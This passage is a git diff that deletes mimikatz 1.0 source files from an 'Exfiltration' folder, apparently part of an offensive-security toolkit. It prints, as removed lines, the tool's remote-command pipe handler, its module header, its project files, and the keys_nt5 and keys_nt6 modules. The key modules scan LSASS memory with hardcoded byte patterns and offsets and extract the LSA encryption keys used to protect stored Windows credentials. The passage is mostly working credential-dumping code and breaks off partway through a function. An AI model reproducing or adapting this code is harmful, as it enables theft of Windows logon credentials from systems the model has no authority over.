mimikatz::doCommandeDistante(std::wstring &commande) -{ - bool commOk = false; - - if(mod_mimikatz_inject::monCommunicator) - { - if(!commande.empty()) - { - if(mod_mimikatz_inject::monCommunicator->isConnected()) - { - if(mod_mimikatz_inject::monCommunicator->writeToPipe(commande)) - { - wstring buffer = L""; - do - { - if(commOk = mod_mimikatz_inject::monCommunicator->readFromPipe(buffer)) - { - (*outputStream) << buffer.substr(1) ; - } - else - { - (*outputStream) << L"Erreur : pas de réponse possible ; " << mod_system::getWinError() << endl; - break; - } - } while(*(buffer.begin()) == L'#'); - } - else (*outputStream) << L"Erreur : pas d\'écriture possible ; " << mod_system::getWinError() << endl; - } - } - else (*outputStream) << L"Commande vide (déconnexion forcée) reçue" << endl; - } - else (*outputStream) << L"Erreur : pas ou plus de communication établie" << endl; - - if(!commOk) - mod_mimikatz_inject::closeThisCommunicator(); - - return true; -} - -void mimikatz::listModules() -{ - for(vector::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++) - { - (*outputStream) << setw(12) << setfill(wchar_t(' ')) << monModule->module << L"\t- " << monModule->description << endl; - } -} - -void mimikatz::listCommandes(vector::iterator monModule) -{ - for(vector::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++) - { - if(maCommande->commandName.front() != L':') - (*outputStream) << setw(12) << setfill(wchar_t(' ')) << maCommande->commandName << L"\t- " << maCommande->commandHelp << endl; - } -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h deleted file mode 100644 index 2973368..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h +++ /dev/null @@ -1,57 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_parseur.h" -#include "mod_pipe.h" -#include "mod_process.h" -#include "mod_system.h" - -#include "modules/mod_mimikatz_standard.h" -#include "modules/mod_mimikatz_crypto.h" -#include "modules/mod_mimikatz_hash.h" -#include "modules/mod_mimikatz_system.h" -#include "modules/mod_mimikatz_process.h" -#include "modules/mod_mimikatz_thread.h" -#include "modules/mod_mimikatz_service.h" -#include "modules/mod_mimikatz_privilege.h" -#include "modules/mod_mimikatz_handle.h" -#include "modules/mod_mimikatz_winmine.h" -#include "modules/mod_mimikatz_minesweeper.h" -#include "modules/mod_mimikatz_nogpo.h" -#include "modules/mod_mimikatz_samdump.h" -#include "modules/mod_mimikatz_inject.h" -#include "modules/mod_mimikatz_terminalserver.h" -#include "modules/mod_mimikatz_divers.h" -#include "modules/mod_mimikatz_impersonate.h" -#include "modules/mod_mimikatz_sekurlsa.h" -#include "modules/mod_mimikatz_efs.h" -#include "global.h" - -class mimikatz -{ -private: - static vector getMimiKatzCommands(); - vector mesModules; - bool initLocalModules(); - bool tryToDispatch(wstring * maLigne); - bool doCommandeLocale(wstring * fonction, vector * arguments); - bool doCommandeDistante(std::wstring &commande); - bool doCommandeKernel(std::wstring &commande); - - bool openKernel(); - bool closeKernel(); - - void listModules(); - void listCommandes(vector::iterator monModule); - - HANDLE Kmimikatz; - -public: - mimikatz(vector * mesArguments = NULL); - virtual ~mimikatz(void); -}; - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc deleted file mode 100644 index 85dd98fd902edadeb30d648631ca9d962e266062..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2528 zcmb`J+iu!G5QgWvQr}?)k zEw3bP_51Q9ON(bDC3m2HmpP~l$;elBoa7Qq&gQAsyu}CjzS-hGkhgHH$mbRB792Zx zP{fBGJ_KCv(E7z?4r;c+xRojz74Fw)sKtP%I=db2Rq)Ju$H|pBEy@RZ&q)iZ!hv(e z($z(($8Q-MEgS1P?=?^=ur@mPb%e)}woV zU8Q?je?N}srMg5qAXi#nDJ)E7EHip(B0s2%JKl!uYmKGwcF2BY{V;eK$~V@2>-+J2 z3`(|3`!+T+i#P?@+ZltZ>k<2r{KWPQUQ48nd}3ewd5Z1DNw&M#o}(Lr5!=i&Gji+o z9G^6wk;RIninwG2Nndw2~)=sZ_Lc=K`PdazWf)p1UTt zr$l~9%QQzvPZi$+(lc#CHCo&fM;wHfY*A3+g~?ceBQH!nnTG zZqlsiOxm0sG28e_&+}H&chsSKjhyQ@^U(S3eu`?(NS17B&yUILgtySXs|Q)zgPVQW zV{Xln3-K(ol1yPQ%VqXR-y<`pV!W*S;wo~N%kKO6ed)t*!1wMEPCB(bC)bV2O1tFv rb$(X*Z)L<9z$iM(?(!ep4BwS==Rcx`7es6f$N52aY540z4ylg6szg78 diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj deleted file mode 100644 index 5c0f138..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj +++ /dev/null @@ -1,228 +0,0 @@ - - - - - Release - Win32 - - - Release - x64 - - - - {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8} - Win32Proj - mimikatz - - - - DynamicLibrary - false - true - Unicode - Static - - - DynamicLibrary - false - true - Unicode - Static - - - - - - - - - - - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - false - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - false - - - - Level3 - NotUsing - Full - true - true - WIN32;NDEBUG;PSAPI_VERSION=1;_CONSOLE;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) - true - Fast - false - false - true - false - Size - None - - - Console - true - true - psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;shell32.lib - false - NoErrorReport - - - 0x040c - - - - - Level3 - NotUsing - Full - true - true - WIN32;NDEBUG;PSAPI_VERSION=1;_CONSOLE;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) - true - Fast - false - false - true - false - Size - None - MultiThreaded - - - Console - true - true - psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;shell32.lib - false - NoErrorReport - - - 0x040c - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters deleted file mode 100644 index 378149f..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters +++ /dev/null @@ -1,386 +0,0 @@ - - - - - {86154ac4-51c4-4228-9ebb-5bc3c67c82a5} - - - {ab2db025-9ada-4b24-9f10-5bc479e72179} - - - {4745ebd5-cfb4-4ff6-b2a2-5c867f06f52a} - - - {3774201f-55a6-4793-8ca7-b6a9b1ff795b} - - - {81abef97-02ad-49e1-abfc-05b3c052b87c} - - - {5132675e-44a3-4ab9-a33b-91cbeaa9559a} - - - {5b8a7a54-517e-4ab4-b7e6-be738e69c0c7} - - - {1c14c20e-5127-461c-8c84-e47f621878a5} - - - {13a67a74-e658-49da-8af5-857e3d692af7} - - - {56b648ea-1ae8-4f7b-90b6-860f84d468d9} - - - {4e99b7f2-6de3-4984-a50a-0f60b3cf74d6} - - - {e3eb943a-ee7e-4141-afb7-51276c95b0e1} - - - {3d143a37-f444-4586-8866-b7c022720fb0} - - - {83996a56-5b3b-4d85-aa27-8cc0d3f1a5b6} - - - {22cb979b-54ee-4732-bd93-538856c4818f} - - - {33450f45-6837-4cba-af7b-457bceebc085} - - - {660c14bc-8634-4e80-87d6-39f9dab51e2d} - - - {238e934d-2706-4fe3-8b7a-f14c2939f060} - - - {d5a5224b-a3d5-4ebb-9805-08998c7ed015} - - - {2a99a328-634d-44e7-bcaa-30112f169554} - - - {c8277a95-f9da-4352-9bb1-b35c883c6054} - - - {b482744c-513e-41c6-a766-22adead15ecd} - - - {a5ed030b-28fe-41b0-9f63-b254fd57400f} - - - {77e8ad35-fa4d-4e0d-afdc-ae3060d5370a} - - - {43b545d3-ad41-4c42-970d-7850d77b5432} - - - {3a9d8afc-3734-4b86-ab2a-a300a20f956a} - - - - - - Modules Communs\Certificats & Clés - - - Modules Communs\Injecteur - - - Modules Communs\Mémoire - - - Modules Communs\Parseur - - - Modules Communs\System - - - Modules locaux pour mimikatz\Certificats & Clés - - - Modules locaux pour mimikatz\Standard - - - Modules locaux pour mimikatz\System - - - Modules locaux pour mimikatz\Démineur - - - Modules locaux pour mimikatz\AntiGpo - - - Modules Communs\System - - - Modules Communs\Registre - - - Modules locaux pour mimikatz\Samdump - - - Modules Communs\Communication - - - Modules locaux pour mimikatz\Injecteur - - - Modules Communs\Certificats & Clés - - - Modules Communs\Certificats & Clés - - - Modules Communs\Patch - - - Modules locaux pour mimikatz\Terminal Server - - - Modules locaux pour mimikatz\Divers - - - Modules Communs\Securité et ACL - - - Modules locaux pour mimikatz\System - - - Modules locaux pour mimikatz\System - - - Modules locaux pour mimikatz\System - - - Modules Communs\System - - - Modules Communs\System - - - Modules Communs\System - - - Modules Communs\System - - - Modules locaux pour mimikatz\System - - - Modules Communs\Terminal Server - - - Modules locaux pour mimikatz\Impersonate - - - Modules locaux pour mimikatz\System - - - Modules Communs\Texte - - - Modules Communs\Certificats & Clés - - - Modules locaux pour mimikatz\Certificats & Clés - - - Modules Communs\System - - - Modules locaux pour mimikatz\Démineur - - - Modules locaux pour mimikatz\SekurLSA - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\Certificats & Clés - - - Modules Communs\System - - - Modules Communs\System - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\LSA Keys - - - Modules locaux pour mimikatz\SekurLSA\LSA Keys - - - - - - - - Modules Communs\Certificats & Clés - - - Modules Communs\Injecteur - - - Modules Communs\Mémoire - - - Modules Communs\Parseur - - - Modules Communs\System - - - Modules locaux pour mimikatz\Certificats & Clés - - - Modules locaux pour mimikatz\Standard - - - Modules locaux pour mimikatz\Démineur - - - Modules locaux pour mimikatz\AntiGpo - - - Modules Communs\Registre - - - Modules locaux pour mimikatz\Samdump - - - Modules Communs\Communication - - - Modules locaux pour mimikatz\Injecteur - - - Modules Communs\Certificats & Clés - - - Modules Communs\Certificats & Clés - - - Modules Communs\Patch - - - Modules locaux pour mimikatz\Terminal Server - - - Modules locaux pour mimikatz\Divers - - - Modules Communs\Securité et ACL - - - Modules locaux pour mimikatz\System - - - Modules locaux pour mimikatz\System - - - Modules locaux pour mimikatz\System - - - Modules Communs\System - - - Modules Communs\System - - - Modules Communs\System - - - Modules Communs\System - - - Modules locaux pour mimikatz\System - - - Modules Communs\Terminal Server - - - Modules locaux pour mimikatz\Impersonate - - - Modules locaux pour mimikatz\System - - - Modules Communs\Texte - - - Modules Communs\Certificats & Clés - - - Modules locaux pour mimikatz\Certificats & Clés - - - Modules Communs\System - - - Modules locaux pour mimikatz\Démineur - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA - - - Modules locaux pour mimikatz\System - - - Modules locaux pour mimikatz\Certificats & Clés - - - Modules Communs\System - - - Modules Communs\System - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\LSA Keys - - - Modules locaux pour mimikatz\SekurLSA\LSA Keys - - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp deleted file mode 100644 index 9b51c7f..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp +++ /dev/null @@ -1,76 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "keys_nt5.h" -#include "..\..\global.h" -PBYTE * mod_mimikatz_sekurlsa_keys_nt5::g_pRandomKey = NULL, * mod_mimikatz_sekurlsa_keys_nt5::g_pDESXKey = NULL; - -#ifdef _M_X64 -BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3}; -LONG OFFS_WNT5_g_pRandomKey = -(6 + 2 + 5 + sizeof(long)); -LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pRandomKey - (3 + sizeof(long)); -LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_cbRandomKey - (2 + 5 + sizeof(long)); -LONG OFFS_WNT5_g_Feedback = OFFS_WNT5_g_pDESXKey - (3 + 7 + 6 + 2 + 5 + 5 + sizeof(long)); -#elif defined _M_IX86 -BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x84, 0xc0, 0x74, 0x44, 0x6a, 0x08, 0x68}; -LONG OFFS_WNT5_g_Feedback = sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY); -LONG OFFS_WNT5_g_pRandomKey = OFFS_WNT5_g_Feedback + sizeof(long) + 5 + 2 + 2 + 2; -LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_pRandomKey+ sizeof(long) + 2; -LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pDESXKey + sizeof(long) + 5 + 2; -#endif - -bool mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() -{ - PBYTE ptrBase = NULL; - DWORD mesSucces = 0; - if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT5_LsaInitializeProtectedMemory_KEY, &ptrBase, sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY))) - { -#ifdef _M_X64 - PBYTE g_Feedback = reinterpret_cast((ptrBase + OFFS_WNT5_g_Feedback) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_Feedback)); - g_pRandomKey = reinterpret_cast((ptrBase + OFFS_WNT5_g_pRandomKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_pRandomKey)); - g_pDESXKey = reinterpret_cast((ptrBase + OFFS_WNT5_g_pDESXKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_pDESXKey)); - PDWORD g_cbRandomKey = reinterpret_cast((ptrBase + OFFS_WNT5_g_cbRandomKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT5_g_cbRandomKey)); -#elif defined _M_IX86 - PBYTE g_Feedback = *reinterpret_cast(ptrBase + OFFS_WNT5_g_Feedback); - g_pRandomKey = *reinterpret_cast(ptrBase + OFFS_WNT5_g_pRandomKey); - g_pDESXKey = *reinterpret_cast(ptrBase + OFFS_WNT5_g_pDESXKey); - PDWORD g_cbRandomKey = *reinterpret_cast(ptrBase + OFFS_WNT5_g_cbRandomKey); -#endif - *g_Feedback = NULL; *g_pRandomKey = NULL; *g_pDESXKey = NULL; *g_cbRandomKey = NULL; - - mesSucces = 0; - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (g_Feedback - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_Feedback, 8, mod_mimikatz_sekurlsa::hLSASS)) - mesSucces++; - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(g_cbRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_cbRandomKey, sizeof(DWORD), mod_mimikatz_sekurlsa::hLSASS)) - mesSucces++; - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(g_pRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) - { - mesSucces++; - *g_pRandomKey = new BYTE[*g_cbRandomKey]; - if(mod_memory::readMemory(ptrBase, *g_pRandomKey, *g_cbRandomKey, mod_mimikatz_sekurlsa::hLSASS)) - mesSucces++; - } - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(g_pDESXKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) - { - mesSucces++; - *g_pDESXKey = new BYTE[144]; - if(mod_memory::readMemory(ptrBase, *g_pDESXKey, 144, mod_mimikatz_sekurlsa::hLSASS)) - mesSucces++; - } - } - else (*outputStream) << L"mod_memory::searchMemory NT5 " << mod_system::getWinError() << endl; - return (mesSucces == 6); -} - -bool mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData() -{ - if(g_pRandomKey && *g_pRandomKey) - delete[] *g_pRandomKey; - if(g_pDESXKey && *g_pDESXKey) - delete[] *g_pDESXKey; - - return true; -} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h deleted file mode 100644 index 121d9c5..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.h +++ /dev/null @@ -1,17 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../mod_mimikatz_sekurlsa.h" - -class mod_mimikatz_sekurlsa_keys_nt5 { - -private: - static PBYTE *g_pRandomKey, *g_pDESXKey; -public: - static bool searchAndInitLSASSData(); - static bool uninitLSASSData(); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp deleted file mode 100644 index ac642ef..0000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt6.cpp +++ /dev/null @@ -1,186 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` -http://blog.gentilkiwi.com -benjamin@gentilkiwi.com -Licence : http://creativecommons.org/licenses/by/3.0/fr/ -Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "keys_nt6.h" -#include "..\..\global.h" -HMODULE mod_mimikatz_sekurlsa_keys_nt6::hBCrypt = NULL; -PBYTE mod_mimikatz_sekurlsa_keys_nt6::AESKey = NULL, mod_mimikatz_sekurlsa_keys_nt6::DES3Key = NULL; -mod_mimikatz_sekurlsa_keys_nt6::PKIWI_BCRYPT_KEY * mod_mimikatz_sekurlsa_keys_nt6::hAesKey = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesKey = NULL; -BCRYPT_ALG_HANDLE * mod_mimikatz_sekurlsa_keys_nt6::hAesProvider = NULL, * mod_mimikatz_sekurlsa_keys_nt6::h3DesProvider = NULL; - -BYTE kiwiRandom3DES[24], kiwiRandomAES[16]; - -#ifdef _M_X64 -BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4C, 0x24, 0x48, 0x48, 0x8B, 0x0D}; -LONG OFFS_WNO8_hAesKey = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 5 + 3; -LONG OFFS_WN61_h3DesKey = - (2 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 2 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long)); -LONG OFFS_WN61_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 2 + 4 + 3; -LONG OFFS_WN60_h3DesKey = - (6 + 2 + 2 + 5 + 3 + 4 + 2 + 5 + 5 + 6 + 2 + 2 + 5 + 5 + 8 + 3 + sizeof(long)); -LONG OFFS_WN60_InitializationVector = OFFS_WNO8_hAesKey + sizeof(long) + 3 + 4 + 5 + 5 + 2 + 2 + 6 + 4 + 3; - -BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x83, 0x64, 0x24, 0x30, 0x00, 0x44, 0x8B, 0x4D, 0xD8, 0x48, 0x8B, 0x0D}; -LONG OFFS_WIN8_hAesKey = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY) + sizeof(LONG) + 4 + 3; -LONG OFFS_WIN8_h3DesKey = - (6 + 2 + 2 + 6 + 3 + 4 + 2 + 4 + 5 + 6 + 2 + 2 + 6 + 5 + 8 + 3 + sizeof(long)); -LONG OFFS_WIN8_InitializationVector = OFFS_WIN8_hAesKey + sizeof(long) + 3 + 4 + 5 + 6 + 2 + 2 + 6 + 4 + 3; -#elif defined _M_IX86 -BYTE PTRN_WNO8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x3B, 0xF3, 0x7C, 0x2C, 0x6A, 0x02, 0x6A, 0x10, 0x68}; -LONG OFFS_WNO8_hAesKey = -(5 + 6 + sizeof(long)); -LONG OFFS_WNO8_h3DesKey = OFFS_WNO8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 1 + 2 + 2 + 2 + 5 + 1 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 5 + 6 + sizeof(long)); -LONG OFFS_WNO8_InitializationVector = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY); - -BYTE PTRN_WIN8_LsaInitializeProtectedMemory_KEY[] = {0x8B, 0xF0, 0x85, 0xF6, 0x78, 0x2A, 0x6A, 0x02, 0x6A, 0x10, 0x68}; -LONG OFFS_WIN8_hAesKey = -(2 + 6 + sizeof(long)); -LONG OFFS_WIN8_h3DesKey = OFFS_WIN8_hAesKey - (1 + 3 + 3 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 2 + 1 + 3 + 2 + 2 + 2 + 2 + 2 + 2 + 6 + sizeof(long)); -LONG OFFS_WIN8_InitializationVector = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY); -#endif - -bool mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData() -{ - if(!hBCrypt) - hBCrypt = LoadLibrary(L"bcrypt"); - - PBYTE PTRN_WNT6_LsaInitializeProtectedMemory_KEY; - ULONG SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY; - LONG OFFS_WNT6_hAesKey, OFFS_WNT6_h3DesKey, OFFS_WNT6_InitializationVector; - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { - PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WNO8_LsaInitializeProtectedMemory_KEY; - SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WNO8_LsaInitializeProtectedMemory_KEY); - OFFS_WNT6_hAesKey = OFFS_WNO8_hAesKey; -#ifdef _M_X64 - if(mod_system::GLOB_Version.dwMinorVersion < 1) - { - OFFS_WNT6_h3DesKey = OFFS_WN60_h3DesKey; - OFFS_WNT6_InitializationVector = OFFS_WN60_InitializationVector; - } - else - { - OFFS_WNT6_h3DesKey = OFFS_WN61_h3DesKey; - OFFS_WNT6_InitializationVector = OFFS_WN61_InitializationVector; - } -#elif defined _M_IX86 - OFFS_WNT6_h3DesKey = OFFS_WNO8_h3DesKey; - OFFS_WNT6_InitializationVector = OFFS_WNO8_InitializationVector; -#endif - } - else - { - PTRN_WNT6_LsaInitializeProtectedMemory_KEY = PTRN_WIN8_LsaInitializeProtectedMemory_KEY; - SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY = sizeof(PTRN_WIN8_LsaInitializeProtectedMemory_KEY); - OFFS_WNT6_hAesKey = OFFS_WIN8_hAesKey; - OFFS_WNT6_h3DesKey = OFFS_WIN8_h3DesKey; - OFFS_WNT6_InitializationVector = OFFS_WIN8_InitializationVector; - } - - PBYTE ptrBase = NULL; - DWORD mesSucces = 0; - if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT6_LsaInitializeProtectedMemory_KEY, &ptrBase, SIZE_PTRN_WNT6_LsaInitializeProtectedMemory_KEY)) - { -#ifdef _M_X64 - LONG OFFS_WNT6_AdjustProvider = (mod_system::GLOB_Version.dwBuildNumber < 8000) ? 5 : 4; - PBYTE InitializationVector = reinterpret_cast((ptrBase + OFFS_WNT6_InitializationVector) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_InitializationVector)); - hAesKey = reinterpret_cast((ptrBase + OFFS_WNT6_hAesKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey)); - h3DesKey = reinterpret_cast((ptrBase + OFFS_WNT6_h3DesKey) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey)); - hAesProvider = reinterpret_cast((ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long))); - h3DesProvider = reinterpret_cast((ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long)) + sizeof(long) + *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey - 3 - OFFS_WNT6_AdjustProvider -sizeof(long))); -#elif defined _M_IX86 - PBYTE InitializationVector = *reinterpret_cast(ptrBase + OFFS_WNT6_InitializationVector); - hAesKey = *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey); - h3DesKey = *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey); - hAesProvider = *reinterpret_cast(ptrBase + OFFS_WNT6_hAesKey + sizeof(PVOID) + 2); - h3DesProvider = *reinterpret_cast(ptrBase + OFFS_WNT6_h3DesKey + sizeof(PVOID) + 2); -#endif - if(hBCrypt && LsaInitializeProtectedMemory()) - { - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (InitializationVector - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), InitializationVector, 16, mod_mimikatz_sekurlsa::hLSASS)) - mesSucces++; - - KIWI_BCRYPT_KEY maCle; - KIWI_BCRYPT_KEY_DATA maCleData; - - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(hAesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(reinterpret_cast(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*hAesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data) - 2*sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) // 2 pointeurs internes à la fin, la structure de départ n'était pas inutile ;) - mesSucces++; - - if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast(h3DesKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, sizeof(PBYTE), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(ptrBase, &maCle, sizeof(KIWI_BCRYPT_KEY), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(maCle.cle, &maCleData, sizeof(KIWI_BCRYPT_KEY_DATA), mod_mimikatz_sekurlsa::hLSASS)) - if(mod_memory::readMemory(reinterpret_cast(maCle.cle) + FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), &(*h3DesKey)->cle->data, maCleData.size - FIELD_OFFSET(KIWI_BCRYPT_KEY_DATA, data), mod_mimikatz_sekurlsa::hLSASS)) - mesSucces++; - } - else (*outputStream) << L"LsaInitializeProtectedMemory NT6 KO" << endl; - } - else (*outputStream) << L"mod_memory::searchMemory NT6 " << mod_system::getWinError() << endl; - - return (mesSucces == 3); -} - - -bool mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData() -{ - if(hBCrypt) - { - 